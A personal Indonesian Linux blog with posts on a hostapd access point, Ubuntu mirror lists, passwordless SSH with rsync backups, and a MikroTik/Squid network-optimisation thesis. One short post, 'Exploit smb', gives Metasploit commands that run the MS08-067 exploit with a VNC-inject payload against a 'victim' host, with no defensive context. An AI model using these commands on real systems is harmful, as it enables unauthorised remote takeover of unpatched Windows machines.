Nah kali ini saya mencoba membuat jaringan wireless infrastruktur (mode master) di linux ubuntu tercinta saya ini dengan menggunakan adapter wireless di laptop saya. Mode master ini dapat dikatakan seperti Akses Point, artinya kita menjadikan adapter wireless di PC atau laptop menjadi sebuah akses point.

Kenapa nggak pake adhoc atau mengapa harus mode master ??? silahkan cari di google dah :)) :))

Untuk menjadikan adapater/interface wireless sebagai akses point sebenarny bisa saja menggunakan aplikasi GUI seperti rutilT dkk, tapi entah kenapa aplikasi rutilT ini tidak begitu bersahabat dengan chipset wireless saya :( sedihnya...

Akhirnya saya memutuskan untuk menggunakan aplikasi hostapd, yapz.. terminal memang yahuud =)) =))

Dan seperti biasa, langkah-langkahnya selalu diawali dengan kata MUDAH ALIAS GAMPANG.

Lihat interface wireless terbaca sebagai wlan atau eth melalui ifconfig

a3m-nix@f0r-e4ch:~$ ifconfig

Pada kasus saya, interface wireless terbaca sebagai wlan0. lalu beri alamat ip pada interface wlan0 tersebut.

Edit file interface seperti ini:

a3m-nix@f0r-e4ch:~$ sudo nano /etc/network/interfaces
auto lo
iface lo inet loopback

auto wlan0
iface wlan0 inet static
address 192.168.0.1
netmask 255.255.255.0

Simpan file tersebut.

lalu install program hostapd via apt-get

a3m-nix@f0r-e4ch:~$ sudo apt-get install hostapd

buat file konfigurasi untuk hostapd.config (file ini dibuat lo bukan di edit hehee...)

a3m-nix@f0r-e4ch:~$ sudo nano /etc/hostapd.config
interface=wlan0 #adapater wirelessnya
driver=nl80211
ssid=xxxx #ssid yang digunakan
channel=1
hw_mode=g
ieee80211n=1
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0
wpa=2
wpa_passphrase=121234167890 #wpa key,
wpa_key_mgmt=WPA-PSK
wpa_pairwise=TKIP
rsn_pairwise=CCMP

Untuk lebih detail mengenai konfigurasi diatas, silahkan maen-maen ke sini

Jalankan hostapd dengan config yang baru dibuat tadi.

a3m-nix@f0r-e4ch:~$ sudo hostapd /etc/hostapd.config
Configuration file: hostapd.config
Using interface wlan0 with hwaddr 00:17:c4:dc:bf:1c and ssid 'xxxx'
Malformed netlink message: len=432 left=256 plen=416
256 extra bytes in the end of netlink message
wlan0: STA 54:9b:12:5c:9a:6b IEEE 802.11: authenticated
wlan0: STA 54:9b:12:5c:9a:6b IEEE 802.11: associated (aid 1)
wlan0: STA 54:9b:12:5c:9a:6b IEEE 802.11: deauthenticated due to local deauth request
wlan0: STA 54:9b:12:5c:9a:6b IEEE 802.11: authenticated
wlan0: STA 54:9b:12:5c:9a:6b IEEE 802.11: associated (aid 1)

Dan jaringan wireless sudah siap digunakan,..

Untuk melihat apakah adapter wireless support mode master atau tidak bisa menggunakan perintah

a3m-nix@f0r-e4ch:~$ iw list

Supported interface modes:

* IBSS

* managed

* AP

* AP/VLAN

* monitor

* mesh point

Okeh, selesai sudah, gimana ? nggak sampe 2 menit kan, nggak kalah mudah dengan adhoc via network-manager ataupun ICS nya wendus hehee....

Untuk lebih enaknya lagi ditambahi dhcp3-server supaya nggak setting IP Manual disisi client, terus aktifkan IP Forwading dan NAT (Network Address Translation) biar semua bisa internetan (kalo ada), dan ditambah dnsmasq utk cache dns juga bagus, atau bisa di kolaborasi dengan transparent proxy lebih okeh, mau pake webhtb atau htb tools untuk bandwidth manager akan sangat luar biasa,.... halaaah jadi ngelantur...

keep share.... :D

Daftar Repository Lokal Ubuntu 10.10 Maverick Meerkat

2011-05-19T05:33:00.000-07:00

Repository Lokal ubuntu 10.10 Maverick Meerkat
Ubuntu Repository 10.10 di FOSS-ID :

deb http://dl2.foss-id.web.id/ubuntu/ maverick main restricted universe multiverse
deb-src http://dl2.foss-id.web.id/ubuntu/ maverick main restricted universe multiverse
deb http://dl2.foss-id.web.id/ubuntu/ maverick-updates main restricted universe multiverse
deb-src http://dl2.foss-id.web.id/ubuntu/ maverick-updates main restricted universe multiverse
deb http://dl2.foss-id.web.id/ubuntu/ maverick-security main restricted universe multiverse
deb-src http://dl2.foss-id.web.id/ubuntu/ maverick-security main restricted universe multiverse

Ubuntu Repository 10.10 di Kambing :

deb http://kambing.ui.ac.id/ubuntu/ maverick main restricted universe multiverse
deb-src http://kambing.ui.ac.id/ubuntu/ maverick main restricted universe multiverse
deb http://kambing.ui.ac.id/ubuntu/ maverick-updates main restricted universe multiverse
deb-src http://kambing.ui.ac.id/ubuntu/ maverick-updates main restricted universe multiverse
deb http://kambing.ui.ac.id/ubuntu/ maverick-security main restricted universe multiverse
deb-src http://kambing.ui.ac.id/ubuntu/ maverick-security main restricted universe multiverse

Ubuntu Repository 10.10 di CBN :

deb http://ubuntu.cbn.net.id/Ubuntu/ maverick main restricted universe multiverse
deb-src http://ubuntu.cbn.net.id/Ubuntu/ maverick main restricted universe multiverse
deb http://ubuntu.cbn.net.id/Ubuntu/ maverick-updates main restricted universe multiverse
deb-src http://ubuntu.cbn.net.id/Ubuntu/ maverick-updates main restricted universe multiverse
deb http://ubuntu.cbn.net.id/Ubuntu/ maverick-security main restricted universe multiverse
deb-src http://ubuntu.cbn.net.id/Ubuntu/ maverick-security main restricted universe multiverse

Ubuntu Repository 10.10 di ITB :

deb ftp://ftp.itb.ac.id/pub/ubuntu/ maverick main restricted universe multiverse
deb-src ftp://ftp.itb.ac.id/pub/ubuntu/ maverick main restricted universe multiverse
deb ftp://ftp.itb.ac.id/pub/ubuntu/ maverick-updates main restricted universe multiverse
deb-src ftp://ftp.itb.ac.id/pub/ubuntu/ maverick-updates main restricted universe multiverse
deb ftp://ftp.itb.ac.id/pub/ubuntu/ maverick-security main restricted universe multiverse
deb-src ftp://ftp.itb.ac.id/pub/ubuntu/ maverick-security main restricted universe multiverse

Ubuntu Repository 10.10 di Komo :

deb http://komo.vlsm.org/ubuntu/ maverick main restricted universe multiverse
deb-src http://komo.vlsm.org/ubuntu/ maverick main restricted universe multiverse
deb http://komo.vlsm.org/ubuntu/ maverick-updates main restricted universe multiverse
deb-src http://komo.vlsm.org/ubuntu/ maverick-updates main restricted universe multiverse
deb http://komo.vlsm.org/ubuntu/ maverick-security main restricted universe multiverse
deb-src http://komo.vlsm.org/ubuntu/ maverick-security main restricted universe multiverse

Ubuntu Repository 10.10 di ITS :

deb http://mirror.its.ac.id/pub/ubuntu/ maverick main restricted universe multiverse
deb-src http://mirror.its.ac.id/pub/ubuntu/ maverick main restricted universe multiverse
deb http://mirror.its.ac.id/pub/ubuntu/ maverick-updates main restricted universe multiverse
deb-src http://mirror.its.ac.id/pub/ubuntu/ maverick-updates main restricted universe multiverse
deb http://mirror.its.ac.id/pub/ubuntu/ maverick-security main restricted universe multiverse
deb-src http://mirror.its.ac.id/pub/ubuntu/ maverick-security main restricted universe multiverse

Ubuntu Repository 10.10 di UGM :

deb http://repo.ugm.ac.id/ubuntu/ maverick main restricted universe multiverse
deb-src http://repo.ugm.ac.id/ubuntu/ maverick main restricted universe multiverse
deb http://repo.ugm.ac.id/ubuntu/ maverick-updates main restricted universe multiverse
deb-src http://repo.ugm.ac.id/ubuntu/ maverick-updates main restricted universe multiverse
deb http://repo.ugm.ac.id/ubuntu/ maverick-security main restricted universe multiverse
deb-src http://repo.ugm.ac.id/ubuntu/ maverick-security main restricted universe multiverse

Daftar Repository Lokal Ubuntu 10.04 Lucid Lynx

2011-05-19T05:24:00.000-07:00

Akhir-akhir ini sering install ubuntu, supaya enak mending nulis di blog aja alamat repositorynya.
Kelebihan repository lokal tentu masalah kecepatan aksesnya :D
Daftar Repository lokal :
Repository FOSS-ID :

deb http://dl2.foss-id.web.id/ubuntu/ lucid-backports main restricted universe multiverse
deb http://dl2.foss-id.web.id/ubuntu/ lucid-proposed main restricted universe multiverse
deb http://dl2.foss-id.web.id/ubuntu/ lucid-security main restricted universe multiverse
deb http://dl2.foss-id.web.id/ubuntu/ lucid-updates main restricted universe multiverse
deb http://dl2.foss-id.web.id/ubuntu/ lucid main restricted universe multiverse

Repository Kambing || UI :

deb http://kambing.ui.ac.id/ubuntu/ lucid-backports main restricted universe multiverse
deb http://kambing.ui.ac.id/ubuntu/ lucid-proposed main restricted universe multiverse
deb http://kambing.ui.ac.id/ubuntu/ lucid-security main restricted universe multiverse
deb http://kambing.ui.ac.id/ubuntu/ lucid-updates main restricted universe multiverse
deb http://kambing.ui.ac.id/ubuntu/ lucid main restricted universe multiverse

Repository UGM :

deb http://repo.ugm.ac.id/ubuntu/ lucid main multiverse universe restricted
deb http://repo.ugm.ac.id/ubuntu/ lucid-updates main multiverse universe restricted
deb http://repo.ugm.ac.id/ubuntu/ lucid-security main multiverse universe restricted
deb http://repo.ugm.ac.id/ubuntu/ lucid-backports main multiverse universe restricted
deb http://repo.ugm.ac.id/ubuntu/ lucid-proposed main multiverse universe restricted

Repository Komo :

deb http://komo.vlsm.org/ubuntu lucid main restricted universe multiverse
deb http://komo.vlsm.org/ubuntu lucid-updates main restricted universe multiverse
deb http://komo.vlsm.org/ubuntu lucid-security main restricted universe multiverse
deb http://komo.vlsm.org/ubuntu lucid-backports main restricted universe multiverse
deb http://komo.vlsm.org/ubuntu lucid-proposed main restricted universe multiverse

Rsync dan login ssh untuk backup file di ubuntu

2011-05-03T08:34:00.000-07:00

Artikel ini saya buat setelah terjadi insiden di laptop saya, ketika dengan sadar saya menghapus partisi data (ntfs) yang sebelumnya saya juga telah menghapus partisi home (ext4) yang mengakibatkan saya harus kehilangan hampir seluruh data-data baik yang penting maupun yang tidak penting :p (paling tidak menurut saya).

Apa itu rsync ?
Setelah sekian lama di linux akhirnya saya berkenalan juga dengan rsync.
Dari sumber yang saya dapat, Rsync adalah tool untuk transfer dan sinkronisasi file atau tree (struktur direktori dan file) secara satu arah, baik transfer lokal (di sistem yang sama) maupun remote (jaringan/internet).

Fungsi rsync ini mirip dengan ftp client,kelebihan dari rsync sendiri cukup banyak, antara lain melakukan sinkronisasi file, baik ukuran, struktur folder dll. rsync juga mampu melanjutkan transfer yang putus di tengah jalan tanpa harus mengulang kembali. Bahasa mudahnya, rsync ini akan mengcopy folder yang kita inginkan dan mencakup subfolder ke suatu komputer lain baik di jaringan lokal maupun di di jaringan internet.

Sedangkan ssh, tentu pengguna linux sudah cukup familiar dengan tools remote yang satu ini. Pada artikel ini, rsync akan menggunakan ssh namun tanpa harus memasukkan password ssh, jadi hanya menjalankan satu perintah saja.

Saya mempunyai 1 komputer sebagai gateway yang juga digunakan sebagai tempat backup data dengan ip 192.168.100.1 dan laptop yang saya gunakan sehari-hari dengan ip 192.168.100.123

Agar ssh bisa login tanpa menggunakan password, kita harus membuat public key dan private key terlebih dahulu.
Untuk membuat public key dan private key, di laptop saya mengetikkan perintah berikut:

a3m-nix@f0r-e4ch:~$ cd .ssh/
a3m-nix@f0r-e4ch:~/.ssh$
a3m-nix@f0r-e4ch:~/.ssh$ ssh-keygen

Tekan enter untuk tiap pertanyaan.
lalu duplikat isi file id_rsa.pub menjadi file authorized_keys dan beri permission

a3m-nix@f0r-e4ch:~/.ssh$ cat id_rsa.pub >> authorized_keys
a3m-nix@f0r-e4ch:~/.ssh$ sudo chmod 600 authorized_keys

Setelah itu copy file authorized_keys ke server yang ingin di remote tanpa password.

a3m-nix@f0r-e4ch:~/.ssh$ scp -p keysumber usertujuan@iptujuan:path_ssh_tujuan
a3m-nix@f0r-e4ch:~/.ssh$ scp -p authorized_keys a3m-nix@192.168.100.1:/home/a3m-nix/.ssh

Selanjutnya coba lakukan login ke server dengan ip 192.168.100.1 menggunakan user a3m-nix

a3m-nix@f0r-e4ch:~/.ssh$ ssh userkomputertujuan@192.168.100.1
a3m-nix@f0r-e4ch:~/.ssh$ ssh a3m-nix@192.168.100.1

Pada contoh diatas, saya menggunakan username yang sama untuk laptop dan komputer, namun dengan password yang berbeda, hal ini tidak menjadi masalah dan seharusnya kamu sudah bisa login dengan user a3m-nix tanpa harus memasukkan password.
Dan selanjutkan melakukan backup dengan rsync. ketikkan perintah berikut di komputer sumber (pada contoh ini di laptop saya).

a3m-nix@f0r-e4ch:~$ rsync -e ssh -av -P -z foldersumber a3m-nix@iptujuan:foldertujuan
a3m-nix@f0r-e4ch:~$ rsync -e ssh -av -P -z /home/a3m-nix/www/ a3m-nix@192.168.100.1:www

Pada contoh diatas, saya melakukan rsync folder /home/a3m-nix/www di laptop saya agar di copy kan ke /home/a3m-nix/www di komputer tujuan.

Penjelesan perintah ini saya dapat dari tutorial masterwebnet.

Opsi -a (archive) adalah untuk mensinkronkan segala sesuatu, termasuk file/direktori secara rekursif dan metadata (seperti tanggal, kepemilikan, permission) dan file-file spesial seperti link simbolik. Umumnya ini yang kita mau, tapi dalam kasus-kasus tertentu di mana Anda tidak ingin rekursif atau tidak ingin mensinkronkan salah satu dari tanggal/kepemilikan/dll, opsi -a dapat dihilangkan dan/atau diganti dengan opsi-opsi lain seperti -r, -g, -o,

Opsi -v (verbose) membuat rsync memperlihatkan ke layar nama-nama file yang sedang ditransfer. Opsi -P membuat rsync lebih verbose lagi, yaitu menampilkan juga progres/persentasi saat sebuah file sedang ditransfer. Jika kita menggunakan rsync dalam skrip noninteraktif, bisa jadi output yang dihasilkan terlalu banyak. Maka dalam kasus tersebut kita dapat menghilangkan opsi -v dan -P.

Opsi -z (compress) membuat rsync mengkompresi data yang ditransfer. Ini menghemat bandwidth. Untuk transfer remote, gunakanlah selalu opsi ini, kecuali jika Anda berada di intranet yang amat cepat bahkan lebih cepat dari bandwidth harddisk (mis: di lingkungan gigabit ethernet).

Untuk memudahkan hal tersebut, perintah rsync saya jadikan script agar mudah di jalankan.

a3m-nix@f0r-e4ch:~$ nano rsync
#!bin/bash
rsync -e ssh -av -P -z /home/a3m-nix/www/ a3m-nix@192.168.100.1:www

dan untuk menjalankan rsync, saya tinggal mengetikkan perintah

a3m-nix@f0r-e4ch:~$ sh rsync

rsync ini juga bisa dikombinasikan dengan crontab agar sinkronisasi berjalan secara otomatis,. Maybe next time, karena saya juga akan membuat script untuk melakukan pengecekkan IP tujuan agar rsync hanya terjadi ketika saya berada di jaringan komputer di rumah saya. :D
Selamat mencoba...

Exploit smb

2011-04-03T01:07:00.000-07:00

Bug yang masih belum banyak disadari oleh end user sampai saat ini:

root@f0r-each:/home/a3m-nix# msfconsole
use exploit/windows/smb/ms08_067_netapi
set payload windows/vncinject/bind_tcp
set rhost victim
exploit

http://www.metasploit.com/modules/exploit/windows/smb/ms08_067_netapi
http://www.securityfocus.com/archive/1/archive/1/479078/100/0/threaded

Optimalisasi Kinerja Jaringan Komputer || Tugas Akhir

2011-03-29T06:00:00.001-07:00

Dan saya akhirnya menyelesaikan pendidikan Strata 1 saya, sudah hampir S.Kom, tinggal menunggu wisuda :D
Jika pada waktu kerja praktek dulu saya membangun sistem pengolahan data berbasis web menggunakan PHP dan database MySql, pada skripsi kali ini saya mencoba beralih ke lain hati :)) dengan tema jaringan komputer yang berjudul "OPTIMALISASI KINERJA JARINGAN KOMPUTER".
Yang menjadi latar belakang permasalahan pada penelitian saya ini adalah masalah koneksi internet dan aspek keamanan jaringan baik dari sisi LAN maupun internet.

Ada beberapa point-point optimalisasi yang saya lakukan dalam penelitian ini :

Melakukan perubahan pada topologi jaringan komputer yang ada. hmm... sebenarnya ini bukan perubahan pada topologi seperti dari topologi star ke topologi bus tapi lebih pada jalur-jalur kabel jaringan serta peralatan agar dapat mendukung proses optimalisasi selanjutnya.
Mengoptimalkan penggunaan router mikrotik sebagai traffic shaping, firewall dlsb.
Memanfaatkan device yang ada untuk dijadikan proxy server menggunakan squid di linux tentunya.

Ok, langsung to the point.
Dari beberapa referensi yang saya dapat seperti di http://en.wikipedia "Optimalisasi jaringan komputer dapat diartikan suatu cara untuk mempercepat berbagai aplikasi yang diakses oleh pengguna yang menggunakan jaringan LAN/WAN yang didistribusikan dengan cara menghilangkan kelebihan transmisi, pengiriman data dalam cache lokal, penekanan dan memprioritaskan data, dan perampingan sejumlah protokol".

Dan dari pengertian tersebut, ada beberapa metode yang dapat digunakan dalam proses optimalisasi:

Compression
Caching/Proxy
Traffic Shaping
Equalizing
Connection Limits
Simple Rate Limits

Untuk pengertian metode diatas silahkan googling sendiri, biar sekali-sekali nyasar-nyasar ke tempat yang benar, begitu banyak situs-situs di jagad maya ini yang akan menjawabnya dan dengan senang hati memberikan "How To" untuk orang-orang yang mau :D

Next...
Metode traffic shaping, Equalizing, Connection Limits serta simpel Rate Limits saya terapkan pada router mikrotik RB450G dan Caching menggunakan squid proxy pada sistem operasi linux ubuntu server.

Untuk implementasi keamanan jaringan di router mikrotik, saya menggunakan IP Virtual karena terbatasnya jumlah interface (5 ethernet di Mikrotik RB450G) sementara segmen jaringan yang akan di filter cukup banyak.

Untuk keamanan komputer-komputer server, saya melakukan subnetting dengan prefix /30 yang hanya menghasilkan 2 alamat IP sehingga apapun yang akan masuk ke komputer server tetap dapat di filter di ip firewall filter oleh router (no TuxCut dkk).

Selain itu, saya juga menerapkan routing dengan metode Load Balancing menggunakan PCC (Per Connection Classifier) di router mikrotik untuk mengoptimalkan 3 koneksi internet yang digunakan.

Penerapan Load Balancing pada segmen LAN yang cukup banyak ternyata membuat saya harus berhati-hati karena trafik yang menuju setiap segmen LAN harus benar-benar bebas dari Load Balancing sehingga hanya trafik yang menuju internet saja yang masuk
ke firewall mangle Load Balancing (maklum, saya juga baru belajar hehee :D)

Seperti yang tertulis pada kitab-kitab mikrotik yang bertebaran di http://www.forummikrotik.com/ maupun http://mikrotik.co.id/ ataupun
http://wiki.mikrotik.com/wiki/Main_Page dan pada blog-blog lainnya, Load balancing adalah teknik untuk menyeimbangkan beban trafik pada dua atau lebih jalur koneksi.

Firewall mangle pada mikrotik yang akan membagi koneksi menjadi beberapa bagian sesuai keinginan (connections mark dan route-mark) lalu pada ip routes akan mengarahkan koneksi dan route mark tersebut pada masing-masing jalur internet, sehingga setiap jalur mendapat beban trafik yang relatif seimbang.

Masalah yang muncul pada implementasi Load Balancing yang saya lakukan adalah akses menuju webmail ataupun menggunakan mail client menjadi sulit, sering logout dan susah untuk login.
Setiap kali client melakukan refresh page pada browser, router akan menganggap pada koneksi baru dan melewatkan koneksi tersebut pada gateway yang berbeda dan ternyata server email serta beberapa server aplikasi lain menganggap hal ini ilegal (ilegal gateway) dan mengharuskan client untuk melakukan login ulang (karena gatewaynya sudah berbeda).

dan untuk mengatasi permasalahan tersebut, saya menandai koneksi untuk port-port yang digunakan oleh aplikasi email dan beberapa aplikasi lain lalu mengarahkan koneksi tersebut menggunakan satu gateway saja agar tidak terjadi ilegal gateway.

Selanjutnya saya melakukan traffic shaping dan Equalizing, dengan memberi prioritas bandwidth pada aplikasi-aplikasi yang sering digunakan. Traffic shaping saya terapkan pada queue tree di mikrotik.

Lalu simpel rate limit, saya implementasikan pada simple queue dengan menggunakan script agar tidak terlalu banyak rule yang membebani router.
Script untuk limit bandwidth akan dijalankan oleh router secara berkala, script akan melakukan pengecekkan di tabel ARP, mengambil semua alamat IP (kecuali IP untuk ether internet) yang ada di sana lalu membuat rule limit bandwidth pada simple queue berdasarkan alamat IP yang ada di tabel ARP secara otomatis, script juga melakukan pembandingan, menghapus rule untuk IP yang ada simpel queue namun tidak terdapat pada tabel ARP.
Jadi rule yang ada di simple queue hanya untuk client yang aktif.

Selanjutnya Connection Limits, Con limit di implementasikan menggunakan firewall pada router mikrotik, melakukan blok/drop pada koneksi-koneksi yang bersifat ddos, port scanning, brute force attack maupun virus-virus jaringan (untuk bagian ini masih banyak yang perlu ditambahkan) :D

dan terakhir Caching, di implementasikan menggunakan aplikasi squid proxy pada Sistem Operasi Linux Ubuntu Server 10.04 LTS * and I Love u nux , I can't do this without you :).
Proxy digunakan sebagai cache lokal agar dapat menghemat bandwidth dan mempercepat request pada objek yang sudah pernah diminta.
Proxy ini sudah cukup banyak sekali membiayai keperluan saya sehari-hari hahahaaaa....
Untuk Proxy server sudah bisa digunakan namun masih ada konfigurasi yang perlu ditambahkan untuk melakukan transparan proxy di router mikrotik seperti melakukan NAT dan menyesuaikan firewall mangle untuk Load balancing serta routing.
Proses limit juga diterapkan pada squid menggunakan delay_pools yaitu dengan cara melakukan limit pada ekstensi file tertentu seperti .exe .iso .rar .zip dan lain-lain (dari awal saya kenal squid sampai sekarang belum pernah kecolongan bandwidth menggunakan delay_pools squid di linux ini meskipun menggunakan aplikasi sejenis IDM dkk atau mungkin usernya tidak terlalu ganas dengan bandwidth :D )

Dari optimalisasi yang telah dilakukan dapat disimpulkan:

Perubahan jalur kabel pada topologi yang dilakukan telah dapat mendukung optimalisasi router baik dari segi keamanan maupun penyeimbangan trafik.
Firewall pada router mikrotik telah bekerja dengan cukup baik, yaitu mampu melakukan drop serta mengamankan segmen-segmen jaringan yang bersifat high risk.
Teknik Load Balancing sudah dapat relatif menyeimbangkan beban koneksi ke masing-masing jalur internet dan aplikasi-aplikasi yang menggunakan HTTPS dan SSL sudah bisa berjalan dengan cukup baik.
Penggunaan cache lokal dapat melayani request HTTP (HIT) dari client dengan persentase 30% sampai 45% (via squid-cgi)
Traffic Shaping, Equalizing maupun Simple Rate Limits dapat mengatur bandwidth internet yang ada sehingga tidak ada lagi client yang kesulitan mengakses internet ketika client yang lain melakukan aktivitas download.

Dan sedikit capture HIT Squid:

Ini mangle LB di mikrotik:

Akhirnya saya mengatakan juga apa yang sudah dikatakan oleh para pendahulu :
"Saya lebih menikmati pekerjaan saya menjadi tukang jaringan daripada berkoding dengan PHP yang saya pikir lebih tepat menjadi hobi serta pelepas lelah :D ding"

dan selanjutnya seperti biasa, thanks to :
f0r-e4ch => Never surrender...
nia mwanizz => atas supportnya.
agus bron => Kan serempak =)) =)) selesai jg akhirny bron :))
joni hardi => ane ngerepoti terus y hihiiii.. Confignya masih bnyak yang harus di perbaiki :D
Bang nunu, iansevent, ka2ng, slax, rico wtc, pak panda, pak wawan, pak mauladi atas kesediaan waktu untuk diskusi serta saran-sarannya CMIIW...
Pembimbing Skripsi di kampus, pak budi, pak yudi.
Seluruh teman-teman di Logic, Ka2ng FCopy, stikom-db jambi, forum mikrotik, Komunitas Linux Jambi dan forum linux indonesia.
dan semua rekan-rekan yang sudah membantu saya dalam Tugas Akhir ini..
I already do all the best...

Special for you:
Dan aku sudah menepati janji ku pada mu :) menyelesaikan semua ini dengan semua yang aku mampu, harusnya engkau ada saat ini....
Dan aku sudah menepati janji ku padamu :) memenuhi harapanmu yang pernah engkau ucapkan...

Kini aku akan melangkah pada kehidupan selanjutnya, menjawab semua tanggung jawab yang telah menungguku, menjadikan semua ini lebih baik dan lebih berarti dari yang mungkin pernah engkau harapkan.

Dan Aku merindukanmu..... selalu :-)